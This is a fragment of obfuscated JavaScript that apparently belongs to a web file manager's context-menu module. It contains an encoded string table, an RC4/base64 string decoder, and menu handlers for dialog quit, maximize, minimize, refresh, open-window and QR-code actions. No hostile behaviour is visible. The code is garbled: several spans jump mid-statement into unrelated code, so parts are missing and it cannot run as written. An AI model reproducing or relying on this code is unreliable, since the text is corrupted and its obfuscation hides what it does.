==','wo5QYcOSwo4=','DBnDmQESw5cGw441I8K8IFU=','b8Kqwrd/wo3CpA==','D8OaNsKswrHDn8KFNBcvwpw=','MSrCuMOxw7kR','ICDCu8Oqw6oMwoYVwp9pwos=','woZJUsOrSMKnw6c=','dcOQwp/DjMOD','S0ssVEVBwpAo','KiHCscO7w7c7wpQ=','QVzDhxzDj29+wrHCnVYOS8OJVRvCmxHDhMKpEmh+J8OJw4TDosKQwonDhVLDu1tHQ8KNwqnDp8OgZjZxw7zCrQkkw5pAM8OgHMOmClYOwooiBMOhw59fwoXCnUw6ECHDi8OPw5LDqhcUH8OkwpnCj8ONwodOw4HDh8Knw5RawrnCmcKFV8OoEllOHkTDrMKPEQ==','eMKew4nDocKawrQ=','B2HDuMKsNg==','w4nCqBLCg3cKVTt8wqfDksKYKh3Cg8KuwrtXw6jDqA==','AyI4Xzo=','wrdTX8Obwqs=','wqptwq7Cn0k=','w7lwwpTCssKx','wopOwp7ClFPCjg==','dgfCgQRb','w6ICw4TDqcOF','IsOrwpHCl8Kn','ehJAw54l','ecOyP8K4','WwnCg2zDlw==','wpVfwoLCmknCgQ==','FlDCng==','cE4Jw4nCvA==','Ji7CtsO2','T0rChBAewo7CtmTCvQ==','ZMKvwrJowpvChMOpRjw=','IhzCkcOWw6c=','wpbCrVPCk2glRyUk','EBjCl8O8w7s=','R8O5OQwVwpx3w5bCtSE8Ul9CM33CuHVuw5EWwpXDg2dmWsKZABg=','wp9Zw7pmXw==','w4Ytw6DDlA==','JnrCgMKIJQnDi2vDoAbCjWLCp2bCskTCpXXDtH4LfsOnw482wo8yVsKnCsOew5cSTT9xA8KX','UsKuUMOlTExzM8O9','Y8OVw7vDqmPCo2xowoldwqgdw6ARwrPDmsK4KkZTw73CgRvCsTZWwqYpJQ==','wpnDqD/Dk8KbaQ==','P2TCpmTDgMKrwrPDmsKsPMK5eg==','WsOQDsKyw7M=','wpbCrl/CjXoFQjs=','S8Opwo7Cv8OMcQ==','dlLCghx2','w7wtwqRgDm53wqI=','M8OYw6HCvg==','w7fDplDCiyI=','Q8OtwpTCuQ==','I8Kqwr1rwp3Cvg==','wqDDj0HCtn7DjA==','WU0jVFVGwpQ/w7w=','M8ODwprCoA==','F8KjXMOkWg==','w7/DtEHCgyM=','OMObw7zCpU0=','ZMKiwr93worCq8OrQCo=','CcODw6lXwpBuw7hR','wpTColHChWgYTS04','fMK5QMOITA==','wpxvw5gvwoY=','w5ULwoRUOg==','J8Oyw7bCk1Q=','wphKwpzCmFPCjcKiwr4=','HD1Uw4Yn','wrZOwp/CtU4=','woHDvnE=','w5JIwqvChcKVC8OlwoE=','wqJ5a8O2','SEfCkQI=','w5rCo8Kxw4zDqcKRBsKOBEph','wphewojCvlHCiMKFwqI=','Ajo7aQ==','w4FoIw==','Y8Kiwqd6','w7kswqNo','woFUcMOawpM=','woHDk3pbWw==','wo7DjnFS','Lh5swoDDpg==','S8Olw44=','w4zDryrDn8KG','ccKPQsO2SA==','wp9RwrvCskk=','FHLCgBpZ','NsOawoHDnMOewqY7wpHDqjjCtThRWMKTwqHCv8O6w4bDq8KbUURYD3t9ZXQlw6gzI8O5woRPSErCjcOnwrnCisKQwqLDisKew598woZoaGLChQ==','wpZaw4ZMbQ==','YsKBwqZ+wrk=','JybCtMOyw6ATw587wptpw5N0w4HCvcOyw6nDuQ==','UMOceMK7wrjDhsKCCk9jwo0ZO8K3wopEwo/DnWctwpDCiMOzNx0TEA==','wprCvsK2w5/DpMKdP8KmD1E=','w6LDlk7Ct2/DiQ/CmQ==','TsOiwobCtw==','w4zCiXxZRkbDvG7Ds8KLw4YuNcOXE8K3wqLDvsKqw5HDsAjDlMOMwp/Dv2UoYBA=','wrldw6dCdw==','w4bCmMKsw5/DgQ==','Q8OlwoHCtMOXfsKZJsKrW8Og','ZyLCtHjDjsKiwqDCi8OiKA==','DsOLw6RXwp1ow4RXO8OO','w7LDqUXCgj/Dpg/Di8KsKw==','N8OJwpvCu8KA','F8OXwqrCtwA=','GMOyHWc6','wobDtznDosO/w6LDlg==','w4bDqg5eNg==','FRBjwpPCvw==','w7XDkUPCu3/DhQ==','HmvCtDph','CFLClwoKwqfCsns=','XDlQw4Q9AA==','w59RwqjClA==','bMKqwoFDwoo=','NlbChh5sw4LCq0jCkik=','BcODwpnCp8KQw6HDmDvCrg==','CcOwNl4TwoN+','D1DCgQ3Dhn1l','DMO3wozCvGbDmDPDtMKAw57CjA==','bDvCsHrDtsKsw6PCgsOsJw==','w6g3wqx8','EMO1woo=','w5jCuMKrw4o=','DsOLw6RXwp1o','S8OlwpPCrA==','J8OQF8K/wo4=','w5VRwrXChA==','wprDgnJZXlfDmnrDpsK1w5A=','wp9TwoLCmQ==','wonDg3t1RFPDqmU=','w7rCh8Ksw4DDtA==','wpDCg0fChUo=','woNNT8OdZcKiw7BW','LsOeGUgs','XkPCiAwbwqXClGXCuUvDpw==','QcOlwo7CvA=='];(function(_0x2d229d,_0x1a0f4f){var _0x4791e3=function(_0x35c851){while(--_0x35c851){_0x2d229d['push'](_0x2d229d['shift']());}};_0x4791e3(++_0x1a0f4f);}(_kod_0x4121,0x182));var _kod_0x46d5=function(_0x31d508,_0x192c83){_0x31d508=_0x31d508-0x0;var _0x54e27e=_kod_0x4121[_0x31d508];if(_kod_0x46d5['alPeJt']===undefined){(function(){var _0x59794a;try{var _0x4f56db=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x59794a=_0x4f56db();}catch(_0x5b1c5c){_0x59794a=window;}var _0x42da3a='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x59794a['atob']||(_0x59794a['atob']=function(_0x205346){var _0x53818a=String(_0x205346)['replace'](/=+$/,'');for(var _0x969ae0=0x0,_0x16cc7b,_0x2d32fd,_0x1b942c=0x0,_0x3ab706='';_0x2d32fd=_0x53818a['charAt'](_0x1b942c++);~_0x2d32fd&&(_0x16cc7b=_0x969ae0%0x4?_0x16cc7b*0x40+_0x2d32fd:_0x2d32fd,_0x969ae0++%0x4)?_0x3ab706+=String['fromCharCode'](0xff&_0x16cc7b>>(-0x2*_0x969ae0&0x6)):0x0){_0x2d32fd=_0x42da3a['indexOf'](_0x2d32fd);}return _0x3ab706;});}());var _0x5a9ecd=function(_0xe26b0,_0x372972){var _0x48f6e8=[],_0x312ba5=0x0,_0x322e96,_0x585eed='',_0x55aa73='';_0xe26b0=atob(_0xe26b0);for(var _0x4f675f=0x0,_0x403772=_0xe26b0['length'];_0x4f675f<_0x403772;_0x4f675f++){_0x55aa73+='%'+('00'+_0xe26b0['charCodeAt'](_0x4f675f)['toString'](0x10))['slice'](-0x2);}_0xe26b0=decodeURIComponent(_0x55aa73);for(var _0x33fa38=0x0;_0x33fa38<0x100;_0x33fa38++){_0x48f6e8[_0x33fa38]=_0x33fa38;}for(_0x33fa38=0x0;_0x33fa38<0x100;_0x33fa38++){_0x312ba5=(_0x312ba5+_0x48f6e8[_0x33fa38]+_0x372972['charCodeAt'](_0x33fa38%_0x372972['length']))%0x100;_0x322e96=_0x48f6e8[_0x33fa38];_0x48f6e8[_0x33fa38]=_0x48f6e8[_0x312ba5];_0x48f6e8[_0x312ba5]=_0x322e96;}_0x33fa38=0x0;_0x312ba5=0x0;for(var _0x13fc9d=0x0;_0x13fc9d<_0xe26b0['length'];_0x13fc9d++){_0x33fa38=(_0x33fa38+0x1)%0x100;_0x312ba5=(_0x312ba5+_0x48f6e8[_0x33fa38])%0x100;_0x322e96=_0x48f6e8[_0x33fa38];_0x48f6e8[_0x33fa38]=_0x48f6e8[_0x312ba5];_0x48f6e8[_0x312ba5]=_0x322e96;_0x585eed+=String['fromCharCode'](_0xe26b0['charCodeAt'](_0x13fc9d)^_0x48f6e8[(_0x48f6e8[_0x33fa38]+_0x48f6e8[_0x312ba5])%0x100]);}return _0x585eed;};_kod_0x46d5['GDsDvt']=_0x5a9ecd;_kod_0x46d5['laRHkJ']={};_kod_0x46d5['alPeJt']=!![];}var _0x433411=_kod_0x46d5['laRHkJ'][_0x31d508];if(_0x433411===undefined){if(_kod_0x46d5['gxHisE']===undefined){_kod_0x46d5['gxHisE']=!![];}_0x54e27e=_kod_0x46d5['GDsDvt'](_0x54e27e,_0x192c83);_kod_0x46d5['laRHkJ'][_0x31d508]=_0x54e27e;}else{_0x54e27e=_0x433411;}return _0x54e27e;};define('app/common/rightMenuExtence',[],function(_0x2e0a04,_0xc14c8e){var _0x326a5b={};_0x326a5b[_kod_0x46d5('0x0',']y0&')]=function(_0x4c2152,_0x223f23){return _0x4c2152===_0x223f23;};_0x326a5b['amRqp']='GcIXW';_0x326a5b[_kod_0x46d5('0x1','(26G')]=function(_0xac0739,_0x41d982){return _0xac0739(_0x41d982);};_0x326a5b['hQQTv']='contextMenu';_0x326a5b[_kod_0x46d5('0x2','w@%x')]=function(_0x503bfc,_0x505263){return _0x503bfc&&_0x505263;};_0x326a5b[_kod_0x46d5('0x3','CpJI')]='.disable';_0x326a5b[_kod_0x46d5('0x4','#bfE')]=function(_0x126e60,_0xc1032e){return _0x126e60+_0xc1032e;};_0x326a5b['XPzAM']=_kod_0x46d5('0x5','#bfE');_0x326a5b[_kod_0x46d5('0x6','oApp')]=':not(.menu-not-auto-hidden)';_0x326a5b[_kod_0x46d5('0x7',')b(p')]=_kod_0x46d5('0x8',')Zq2');_0x326a5b[_kod_0x46d5('0x9','$zeB')]=_kod_0x46d5('0xa','GheG');_0x326a5b['mrKSb']=_kod_0x46d5('0xb','tepW');_0x326a5b[_kod_0x46d5('0xc','Ghlq')]=function(_0x4ad72b,_0x3a8578){return _0x4ad72b==_0x3a8578;};_0x326a5b[_kod_0x46d5('0xd','E[tg')]=function(_0x463470,_0x4bc18b){return _0x463470+_0x4bc18b;};_0x326a5b[_kod_0x46d5('0xe','h*gi')]=function(_0x18d522,_0x4c8e70){return _0x18d522+_0x4c8e70;};_0x326a5b[_kod_0x46d5('0xf','gz7W')]=function(_0x4a16b4,_0x149b87){return _0x4a16b4+_0x149b87;};_0x326a5b[_kod_0x46d5('0x10','amMN')]=''),h(f[_kod_0x46d5('0x7b','a0nd')]))+''+_0x483f12,'');}var _0x5d7688=$(_0x1ed64f)[_kod_0x46d5('0x7c','w@%x')](),_0x53bb5a=_0x31f62f||d,_0x48f6a4=_0xbdb30f['$menu'][_kod_0x46d5('0x7d','J]Hl')](_0x53bb5a)[_kod_0x46d5('0x7e','6D#W')]();_0x326a5b[_kod_0x46d5('0x7f','8JG7')](0x0,_0x48f6a4[_kod_0x46d5('0x80','ZNFv')])&&_0xbdb30f[_kod_0x46d5('0x81',')b(p')][_0x53bb5a]&&(_0x48f6a4=_0xbdb30f[_kod_0x46d5('0x82',')T(f')][_0x53bb5a][_kod_0x46d5('0x83','tepW')]),0x0==_0x48f6a4[_kod_0x46d5('0x84','zjue')]&&(_0x48f6a4=_0xbdb30f[_kod_0x46d5('0x85',')Cl!')][_kod_0x46d5('0x86','Svi#')]()['last']()),_0x31f62f?_0x48f6a4['after'](_0x5d7688):d&&_0x48f6a4[_kod_0x46d5('0x87','(26G')](_0x5d7688);var _0x31ae2a=_0x5d7688[_kod_0x46d5('0x88','Svi#')](_kod_0x46d5('0x89','Yv8t'))[_kod_0x46d5('0x8a',')b(p')](_kod_0x46d5('0x8b',')Zq2'));_0x5d7688[_kod_0x46d5('0x39','#I7Z')]({'contextMenu':_0x31ae2a,'contextMenuKey':_0x6929fc,'contextMenuRoot':e});var _0x4c794c={};_0x4c794c[_kod_0x46d5('0x8c','w@%x')]=null;_0x4c794c[_kod_0x46d5('0x8d','Svi#')]=null;_0x4c794c[_kod_0x46d5('0x8e',')Zq2')]=f.accesskey;_0x4c794c['className']=f.className;_0x4c794c[_kod_0x46d5('0x8f',')Cl!')]=f.icon;_0x4c794c[_kod_0x46d5('0x90','A[bK')]=f.name;_0x4c794c[_kod_0x46d5('0x91','ZNFv')]=_0x483f12;_0x4c794c[_kod_0x46d5('0x5a','coI9')]=_0x5d7688;if(_0x31ae2a&&(_0x31ae2a[_kod_0x46d5('0x55','Svi#')]||(_0x31ae2a[_kod_0x46d5('0x92','Tg#C')]={}),_0x31ae2a[_kod_0x46d5('0x93','h*gi')][_0x6929fc]=_0x4c794c),_0x326a5b['YraqM']!=typeof f&&(_0xbdb30f[_kod_0x46d5('0x94','KCJX')]||(_0xbdb30f[_kod_0x46d5('0x95','KaAL')]={}),_0xbdb30f['commands'][_0x6929fc]=_0x4c794c,e['commands'][_0x6929fc]=_0x4c794c,e[_kod_0x46d5('0x96','#bfE')][_0x6929fc]=function(_0x337020,_0x3bccb4){f[_kod_0x46d5('0x97','KaAL')](_0x337020,_0x3bccb4);},f[_kod_0x46d5('0x98','ZNFv')]&&(e[_kod_0x46d5('0x99','gz7W')][f[_kod_0x46d5('0x8e',')Zq2')]]=_0x4c794c),f['items'])){var _0x485b5f=_0x6929fc+'-first-item',_0x1ed64f=_0x326a5b['Cngaj']+_0x6929fc+_kod_0x46d5('0x9a','L)pg')+_0x485b5f+'\x22>\x09\x09\x09\x09\x09';$(_0x1ed64f)['appendTo'](_0x5d7688),_0x4c794c['$menu']=_0x5d7688[_kod_0x46d5('0x3d','6D#W')](_0x326a5b['BfqaK'](_kod_0x46d5('0x9b',')Cl!'),_0x6929fc)),_0x4c794c[_kod_0x46d5('0x9c',']y0&')]=null,_0x4c794c[_kod_0x46d5('0x9d','A[bK')]=_0x4c794c[_kod_0x46d5('0x9e','(i@T')],_0x4c794c[_kod_0x46d5('0x9f','h*gi')]='sub',_0x5d7688[_kod_0x46d5('0xa0','L)pg')](_kod_0x46d5('0xa1','Svi#'),_0x4c794c)[_kod_0x46d5('0xa2','Tg#C')](_kod_0x46d5('0xa3','srTF')),_0x5d7688['find'](_0x326a5b[_kod_0x46d5('0xa4','&q8#')](_kod_0x46d5('0xa5','coI9'),_0x6929fc))[_kod_0x46d5('0x8a',')b(p')]({'contextMenuRoot':e,'contextMenu':_0x4c794c}),_0x5d7688['find']('li.'+_0x485b5f)['data']({'contextMenuRoot':e,'contextMenuKey':_0x485b5f,'contextMenu':_0x4c794c}),_0x4c794c[_kod_0x46d5('0xa6','a0nd')]||(_0x4c794c['items']={}),_0x4c794c[_kod_0x46d5('0x59','CpJI')][_0x485b5f]={'$input':null,'$label':null,'icon':'','name':'','_name':'','$node':_0x5d7688[_kod_0x46d5('0xa7','Tg#C')](_0x326a5b['FaoBi'](_0x326a5b[_kod_0x46d5('0xa8',')Cl!')],_0x485b5f))},i(_0x4c794c,f[_kod_0x46d5('0xa9','gz7W')],'.'+_0x485b5f);}}},$[_kod_0x46d5('0x8b',')Zq2')][_kod_0x46d5('0xaa','A[bK')]=function(_0x4f4d3b,_0x34c69d){$[_kod_0x46d5('0xab','Yv8t')][_kod_0x46d5('0xac','ZBag')](_0x4f4d3b,_0x34c69d,_kod_0x46d5('0xad','#I7Z'),!0x1);},$[_kod_0x46d5('0xae','L)pg')][_kod_0x46d5('0xaf','8JG7')]=function(_0x37f252,_0x3cf34c){$[_kod_0x46d5('0x34',')Cl!')]['menuItemClass'](_0x37f252,_0x3cf34c,_0x326a5b[_kod_0x46d5('0xb0','Ghlq')],!0x0);},$[_kod_0x46d5('0xb1','@*22')][_kod_0x46d5('0xb2','5$Bm')]=function(_0x5e37e5,_0x6637a8){if('wUupW'!==_0x326a5b[_kod_0x46d5('0xb3',')T(f')]){var _0x142712=_0x6637a8[_kod_0x46d5('0xb4','tepW')],_0x3b925e=_kod_0x46d5('0xb5',']y0&');_0x142712[_kod_0x46d5('0xb6','!BFl')](_kod_0x46d5('0xb7','W[*g'))[_kod_0x46d5('0xb8','tepW')](_0x3b925e),Hook[_kod_0x46d5('0xb9','tepW')](_0x326a5b[_kod_0x46d5('0xba','#bfE')],_0x6637a8[_kod_0x46d5('0xbb','@*22')],_0x5e37e5,_0x142712),Hook[_kod_0x46d5('0xbc','Tg#C')](_0x326a5b['FaoBi'](_0x326a5b[_kod_0x46d5('0xbd','FeGc')],_0x6637a8[_kod_0x46d5('0x4f','CpJI')]),_0x5e37e5,_0x142712);}else{$[_kod_0x46d5('0x34',')Cl!')][_kod_0x46d5('0xbe','OfMJ')](_0x5e37e5,_0x6637a8,_kod_0x46d5('0xbf','&Tiv'),!0x1);}},$['contextMenu']['menuItemRemove']=function(_0x4050d6,_0x4769bc){var _0x49c3dd=$[_kod_0x46d5('0xc0','o$)d')]['menuItem'](_0x4050d6,_0x4769bc);_0x49c3dd&&_0x49c3dd[_kod_0x46d5('0xc1','(i@T')]();},$[_kod_0x46d5('0xc2','(i@T')][_kod_0x46d5('0xc3','jcUX')]=function(_0x30fcdf,_0x4ec4c4,_0x2a10cb,_0x44a4a6){var _0xece64d=!0x1,_0x362bce=$['contextMenu'][_kod_0x46d5('0xc4','&q8#')];for(var _0x2b0111 in _0x362bce)if(_0x362bce[_0x2b0111][_kod_0x46d5('0xc5','#bfE')]==_0x4ec4c4){_0xece64d=_0x362bce[_0x2b0111];break;}if(_0xece64d&&_0x30fcdf){var _0x439d97=function(_0x3bff80){return _0x3bff80?-0x1!==_0x3bff80[_kod_0x46d5('0xc6','(i@T')]('/')?_kod_0x46d5('0xc7','J]Hl')+_0x3bff80+_kod_0x46d5('0xc8','tepW'):_0x326a5b[_kod_0x46d5('0xc9','!BFl')](_kod_0x46d5('0xca','Tg#C')+_0x3bff80,_0x326a5b[_kod_0x46d5('0xcb','L)pg')]):'';},_0x1ea789=function(_0x592497,_0x241dd9,_0x4792f6,_0x5ade5d){var _0x48d85e={};_0x48d85e[_kod_0x46d5('0xcc','FeGc')]=function(_0x25c209,_0x74859d){return _0x25c209+_0x74859d;};_0x48d85e[_kod_0x46d5('0xcd','@*22')]=function(_0x5afc13,_0x29a1aa){return _0x326a5b.vHrHH(_0x5afc13,_0x29a1aa);};_0x48d85e[_kod_0x46d5('0xce',')Zq2')]='\x20context-menu-separator\x20not-selectable\x22>';_0x48d85e['gbnoM']=_kod_0x46d5('0xcf','@*22');_0x48d85e[_kod_0x46d5('0xd0','CpJI')]=function(_0x4a0c53,_0x3fb2b0){return _0x4a0c53+_0x3fb2b0;};_0x48d85e[_kod_0x46d5('0xd1','8JG7')]=_0x326a5b.Cngaj;_0x48d85e[_kod_0x46d5('0xd2','tepW')]='\x22>\x09\x09\x09\x09\x09\x09=0x0;_0x1a2790--)_0x2b0111[_0x362bce[_0x1a2790][_kod_0x46d5('0xd7','J]Hl')]]=_0x362bce[_0x1a2790][_kod_0x46d5('0xd8','coI9')];}else _0x2b0111=_0x241dd9;$[_kod_0x46d5('0xd9','(i@T')](_0x2b0111,function(_0x464188,_0x539b1c){_0x539b1c[_kod_0x46d5('0xda',']y0&')]=_0x539b1c[_kod_0x46d5('0xdb','&Tiv')]||'';var _0x2b0111=_0x48d85e['aSDHh'](_0x48d85e[_kod_0x46d5('0xdc','(i@T')](_0x464188,'\x20'),_0x539b1c[_kod_0x46d5('0xdd','Tg#C')]);if(_0x48d85e[_kod_0x46d5('0xde','(i@T')]('string',typeof _0x539b1c))var _0x336e55=_kod_0x46d5('0xdf','Svi#')+_0x2b0111+_0x48d85e[_kod_0x46d5('0xe0','(26G')];else{var _0x1a2790=_0x539b1c[_kod_0x46d5('0xe1','8JG7')];_0x539b1c['accesskey']&&(_0x1a2790+=_kod_0x46d5('0xe2','E[tg')+_0x539b1c[_kod_0x46d5('0xe3','6D#W')]+')');var _0x336e55=_kod_0x46d5('0xe4','a0nd')+_0x2b0111+'\x22>'+_0x439d97(_0x539b1c[_kod_0x46d5('0x7b','a0nd')])+_kod_0x46d5('0xe5',')Cl!')+_0x1a2790+_kod_0x46d5('0xe6','srTF');}var _0x222928=$(_0x336e55)['clone'](),_0x1b2400=_0x4792f6||_0x5ade5d,_0x1bc473=_0x592497['$menu']['find'](_0x1b2400)['first']();_0x48d85e[_kod_0x46d5('0xe7','KaAL')](0x0,_0x1bc473[_kod_0x46d5('0x5b','$zeB')])&&_0x592497['commands'][_0x1b2400]&&(_0x1bc473=_0x592497[_kod_0x46d5('0xe8','Tg#C')][_0x1b2400]['$node']),0x0==_0x1bc473[_kod_0x46d5('0xe9','TbL]')]&&(_0x1bc473=_0x592497[_kod_0x46d5('0xea','Ghlq')][_kod_0x46d5('0xeb','ZNFv')]()[_kod_0x46d5('0xec','a0nd')]()),_0x4792f6?_0x1bc473[_kod_0x46d5('0xed','ZBag')](_0x222928):_0x5ade5d&&_0x1bc473['before'](_0x222928);var _0x399c49=_0x222928[_kod_0x46d5('0x88','Svi#')](_kod_0x46d5('0x89','Yv8t'))['data'](_kod_0x46d5('0x5d','ZNFv'));_0x222928[_kod_0x46d5('0xee','TbL]')]({'contextMenu':_0x399c49,'contextMenuKey':_0x464188,'contextMenuRoot':_0xece64d});var _0x41d3fd={};_0x41d3fd[_kod_0x46d5('0xef','&Tiv')]=null;_0x41d3fd[_kod_0x46d5('0xf0','A[bK')]=null;_0x41d3fd[_kod_0x46d5('0xf1','#bfE')]=_0x539b1c.accesskey;_0x41d3fd['className']=_0x539b1c.className;_0x41d3fd[_kod_0x46d5('0xf2','tepW')]=_0x539b1c.icon;_0x41d3fd['name']=_0x539b1c.name;_0x41d3fd['_name']=_0x1a2790;_0x41d3fd[_kod_0x46d5('0xf3','6D#W')]=_0x222928;if(_0x399c49&&(_0x399c49[_kod_0x46d5('0xf4','ZBag')]||(_0x399c49['items']={}),_0x399c49[_kod_0x46d5('0xa9','gz7W')][_0x464188]=_0x41d3fd),_0x48d85e[_kod_0x46d5('0xf5','a0nd')]!=typeof _0x539b1c&&(_0x592497['commands']||(_0x592497['commands']={}),_0x592497[_kod_0x46d5('0x82',')T(f')][_0x464188]=_0x41d3fd,_0xece64d['commands'][_0x464188]=_0x41d3fd,_0xece64d[_kod_0x46d5('0xf6','&Tiv')][_0x464188]=function(_0x25c351,_0x18cd3a){_0x539b1c[_kod_0x46d5('0xf7','$zeB')](_0x25c351,_0x18cd3a);},_0x539b1c['accesskey']&&(_0xece64d['accesskeys'][_0x539b1c[_kod_0x46d5('0xf8','Tg#C')]]=_0x41d3fd),_0x539b1c['items'])){var _0x25eddc=_0x48d85e[_kod_0x46d5('0xf9','6D#W')](_0x464188,'-first-item'),_0x336e55=_0x48d85e[_kod_0x46d5('0xfa','Yv8t')](_0x48d85e[_kod_0x46d5('0xfb','ZNFv')],_0x464188)+_0x48d85e[_kod_0x46d5('0xfc','a0nd')]+_0x25eddc+'\x22>\x09\x09\x09\x09\x09';$(_0x336e55)[_kod_0x46d5('0xfd','@*22')](_0x222928),_0x41d3fd[_kod_0x46d5('0xfe','h*gi')]=_0x222928['find'](_0x48d85e[_kod_0x46d5('0xff','@*22')](_kod_0x46d5('0x100','KCJX'),_0x464188)),_0x41d3fd['callback']=null,_0x41d3fd[_kod_0x46d5('0x101',')Zq2')]=_0x41d3fd['$node'],_0x41d3fd[_kod_0x46d5('0x102','FeGc')]='sub',_0x222928[_kod_0x46d5('0x103',']y0&')](_kod_0x46d5('0x104','W[*g'),_0x41d3fd)[_kod_0x46d5('0x105','@*22')]('context-menu-submenu'),_0x222928[_kod_0x46d5('0x106','L)pg')](_kod_0x46d5('0x107','amMN')+_0x464188)[_kod_0x46d5('0x108','&Tiv')]({'contextMenuRoot':_0xece64d,'contextMenu':_0x41d3fd}),_0x222928[_kod_0x46d5('0x109','ZNFv')](_0x48d85e[_kod_0x46d5('0x10a','FeGc')]+_0x25eddc)['data']({'contextMenuRoot':_0xece64d,'contextMenuKey':_0x25eddc,'contextMenu':_0x41d3fd}),_0x41d3fd[_kod_0x46d5('0x59','CpJI')]||(_0x41d3fd['items']={}),_0x41d3fd[_kod_0x46d5('0x10b',')b(p')][_0x25eddc]={'$input':null,'$label':null,'icon':'','name':'','_name':'','$node':_0x222928[_kod_0x46d5('0x10c',')b(p')](_0x48d85e[_kod_0x46d5('0x10d','#I7Z')](_kod_0x46d5('0x10e','TbL]'),_0x25eddc))},_0x1ea789(_0x41d3fd,_0x539b1c[_kod_0x46d5('0x10f',')Cl!')],_0x48d85e[_kod_0x46d5('0x110','6D#W')]('.',_0x25eddc));}});};_0x326a5b[_kod_0x46d5('0x111','@*22')](_0x1ea789,_0xece64d,_0x30fcdf,_0x2a10cb,_0x44a4a6);}};var _0x31f62f=function(){var _0x4feb74={};_0x4feb74[_kod_0x46d5('0x112','Ghlq')]=_0x326a5b.kOkyr;_0x4feb74['KeOgZ']=_kod_0x46d5('0x113','&q8#');_0x4feb74[_kod_0x46d5('0x114','(26G')]=_0x326a5b.CavDC;_0x4feb74[_kod_0x46d5('0x115','&Tiv')]=function(_0x167fc8,_0x4fc08f){return _0x167fc8+_0x4fc08f;};_0x4feb74['UKIdZ']=_kod_0x46d5('0x116','(i@T');_0x4feb74['kiRXb']=_0x326a5b.IXDxR;_0x4feb74['DSREq']=_0x326a5b.mIDCD;return $(_kod_0x46d5('0x117','o$)d'))['appendTo'](_kod_0x46d5('0x118','W[*g')),_kod_0x46d5('0x119','A[bK')!=typeof $[_kod_0x46d5('0x104','W[*g')]?console[_kod_0x46d5('0x11a','TbL]')](_kod_0x46d5('0x11b',')b(p')):($['contextMenu']({'zIndex':0x270f,'selector':_0x326a5b[_kod_0x46d5('0x11c','(26G')],'items':{'dialog-quit':{'name':LNG[_kod_0x46d5('0x11d',')T(f')],'className':_kod_0x46d5('0x11e','TbL]'),'icon':_0x326a5b['CDuvI'],'accesskey':'q'},'dialog-max':{'name':LNG['dialog_max'],'className':_kod_0x46d5('0x11f','srTF'),'icon':'resize-full','accesskey':'a'},'dialog-min':{'name':LNG[_kod_0x46d5('0x120','$zeB')],'className':_kod_0x46d5('0x121','ZBag'),'icon':_kod_0x46d5('0x122','tepW'),'accesskey':'i'},'sep1':_0x326a5b[_kod_0x46d5('0x123','gz7W')],'refresh':{'name':LNG['refresh'],'className':_0x326a5b[_kod_0x46d5('0x124','Svi#')],'icon':_kod_0x46d5('0x125','KCJX'),'accesskey':'r'},'open-window':{'name':LNG['open_ie'],'className':'open-window','icon':_kod_0x46d5('0x126','E9Jc'),'accesskey':'b'},'qrcode':{'name':LNG['qrcode'],'className':_0x326a5b[_kod_0x46d5('0x127','5$Bm')],'icon':_kod_0x46d5('0x128','A[bK'),'accesskey':'c'}},'callback':function(_0x2f5e05,_0xfc62a6){if(_kod_0x46d5('0x129','Ghlq')==='LTSHb'){var _0x31f62f=_0xfc62a6[_kod_0x46d5('0x12a',']y0&')]['attr']('id'),_0x2476f3=$[_kod_0x46d5('0x12b','h*gi')][_kod_0x46d5('0x12c',')Zq2')][_0x31f62f];switch(_0x2f5e05){case _0x4feb74[_kod_0x46d5('0x12d','&Tiv')]:_0x2476f3['close']();break;case _0x4feb74['DSREq']:_0x2476f3['_clickMin'](!0x1);break;case _kod_0x46d5('0x12e','Ghlq'):_0x2476f3[_kod_0x46d5('0x12f','tepW')]();break;case _kod_0x46d5('0x130','Svi#'):_0x2476f3[_kod_0x46d5('0x131','J]Hl')]();break;case _kod_0x46d5('0x132','gz7W'):_0x2476f3[_kod_0x46d5('0x133','srTF')]();break;case'qrcode':core['qrcode'](_0x2476f3['DOM'][_kod_0x46d5('0x134','ZNFv')]['find']('iframe')['attr'](_kod_0x46d5('0x135','gz7W')));}}else{var _0x56b869=_0x2f5e05[_kod_0x46d5('0x136','W[*g')]('id'),_0x5b4c4c=$[_kod_0x46d5('0x137','$zeB')][_kod_0x46d5('0x138','TbL]')][_0x56b869],_0x38f4e8=_0x4feb74['FMghZ'],_0x39a019=_0x4feb74[_kod_0x46d5('0x139','o$)d')];_0x5b4c4c['hasFrame']()?_0xfc62a6[_kod_0x46d5('0x13a',')Zq2')](_0x39a019)[_kod_0x46d5('0x13b',')b(p')](_0x38f4e8):_0xfc62a6[_kod_0x46d5('0x13c','@*22')](_0x39a019)[_kod_0x46d5('0x13d',')b(p')](_0x38f4e8);var _0x3bf925=_0x4feb74[_kod_0x46d5('0x13e','W[*g')];$(_0x4feb74[_kod_0x46d5('0x13f','Tg#C')]('.',_0x56b869))[_kod_0x46d5('0x140','jcUX')](_0x4feb74[_kod_0x46d5('0x141','Svi#')])?_0xfc62a6['find'](_0x3bf925)[_kod_0x46d5('0x142',']y0&')](_0x38f4e8):_0xfc62a6[_kod_0x46d5('0x143','TbL]')](_0x3bf925)['addClass'](_0x38f4e8);}}}),void $(_0x326a5b['TMUVT'])['die'](_kod_0x46d5('0x144','Ghlq'))[_kod_0x46d5('0x145','x*z*')](_0x326a5b[_kod_0x46d5('0x146','L)pg')],function(_0x1cd133){var _0xc14c8e=$(this)[_kod_0x46d5('0x147',')Zq2')]();_0xc14c8e[_kod_0x46d5('0x148','(26G')]+=_0x326a5b[_kod_0x46d5('0x149','&q8#')]($,this)[_kod_0x46d5('0x14a','h*gi')](),_0x326a5b[_kod_0x46d5('0x14b','E9Jc')]($,this)[_kod_0x46d5('0x14c','tepW')]()[_kod_0x46d5('0x14d','!BFl')]()[_kod_0x46d5('0x14e','FeGc')]({'x':_0x1cd133['pageX'],'y':_0xc14c8e[_kod_0x46d5('0x14f','Yv8t')]});})[_kod_0x46d5('0x150','jcUX')]('dblclick')['live']('dblclick',function(_0x10b44d){var 